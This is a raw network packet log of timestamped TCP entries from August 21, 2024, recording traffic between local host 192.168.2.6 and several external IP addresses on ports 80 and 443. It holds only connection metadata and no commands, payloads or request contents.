Aug 21, 2024 08:32:16.755085945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755103111 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755127907 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755136013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755142927 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755161047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755194902 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755321980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755335093 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755341053 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755346060 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755352020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755364895 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755371094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755383015 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755407095 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755417109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755424023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755425930 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755435944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755443096 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755453110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755490065 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755530119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755539894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755547047 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755553007 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755603075 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755616903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755623102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755634069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755678892 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.755913973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755923033 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755928993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.755975962 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.757230997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.757236958 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.757242918 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.757253885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.757302999 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.757332087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.776750088 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.776761055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.776767015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.776822090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.776824951 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.776827097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.776839972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.776844978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.776858091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.776878119 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.776911974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.776911974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.779742002 CEST	443	49735	173.222.162.64	192.168.2.6
Aug 21, 2024 08:32:16.779819012 CEST	49735	443	192.168.2.6	173.222.162.64
Aug 21, 2024 08:32:16.799300909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799324989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799349070 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799356937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799370050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799376965 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799390078 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.799390078 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.799391985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799412012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799412966 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.799420118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799432039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799438000 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799446106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799463987 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.799482107 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.799499989 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.799595118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799602032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.799654007 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800045013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800050974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800061941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800091982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800098896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800111055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800115108 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800117970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800160885 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800160885 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800167084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800188065 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800250053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800261021 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800267935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800273895 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800278902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800286055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800332069 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800332069 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800369024 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800389051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800396919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800409079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800415039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800426960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800501108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800501108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800529957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800537109 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800553083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800559044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800565004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800614119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800620079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800626040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.800632000 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800657988 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800673962 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.800905943 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.801067114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801074028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801085949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801134109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.801187038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801193953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801204920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801211119 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801223993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801229954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801237106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801246881 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.801297903 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.801299095 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.801336050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801352024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801366091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801373005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801388979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801394939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801402092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.801408052 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.801440001 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.802112103 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802120924 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802129984 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802134991 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802140951 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802148104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802160978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802166939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802174091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802181005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802182913 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.802195072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802221060 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.802258968 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.802258968 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.802661896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802669048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802680969 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802686930 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802692890 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802697897 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802712917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.802747011 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.802783012 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.803178072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803189039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803195953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803251982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.803262949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803268909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803281069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803286076 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803292036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803312063 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.803322077 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803332090 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.803376913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.803415060 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803426027 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803431988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803437948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803443909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803467989 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.803497076 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.803535938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803544998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803556919 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803563118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803569078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803606033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.803693056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803704023 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803710938 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.803745031 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.804424047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804445982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804464102 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804469109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804497957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804505110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804516077 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.804538965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804544926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804554939 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.804559946 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804615974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.804791927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804799080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804814100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804819107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804832935 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804836988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.804881096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.805614948 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.805632114 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.805720091 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.805730104 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.805738926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.805799007 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.806126118 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.806142092 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.806269884 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.806277990 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.806343079 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.806595087 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.806608915 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.806668997 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.806677103 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.806900978 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.807238102 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.807252884 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.807339907 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.807346106 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.807467937 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.808099985 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.808115005 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.808180094 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.808185101 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.808444977 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.810765028 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.810779095 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.810873985 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.810883999 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.811109066 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.818748951 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818768978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818774939 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818798065 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.818815947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818821907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818825006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.818828106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818861008 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.818881035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818891048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818893909 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.818898916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818927050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.818955898 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.818958998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818964958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.818975925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819014072 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819070101 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819108963 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819269896 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819279909 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819288015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819293976 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819328070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819365025 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819403887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819411039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819417000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819422960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819432974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819470882 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819509983 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819540977 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819549084 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819560051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819566011 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819581032 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819590092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819590092 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819597006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.819613934 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819633007 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.819658041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.820043087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820058107 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820066929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820071936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820085049 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820090055 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820096016 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.820096970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820132017 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.820677042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820688963 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820693970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820699930 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820705891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820710897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820722103 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820728064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820736885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820741892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820748091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820748091 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.820754051 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820765972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820770979 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820780039 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.820801973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.820863008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820871115 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820878983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820884943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820888996 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.820894957 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.820900917 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.820914030 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.820934057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.820964098 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.821054935 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.821054935 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.821064949 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.821096897 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821104050 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821120024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.821163893 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.821188927 CEST	49732	443	192.168.2.6	162.159.130.233
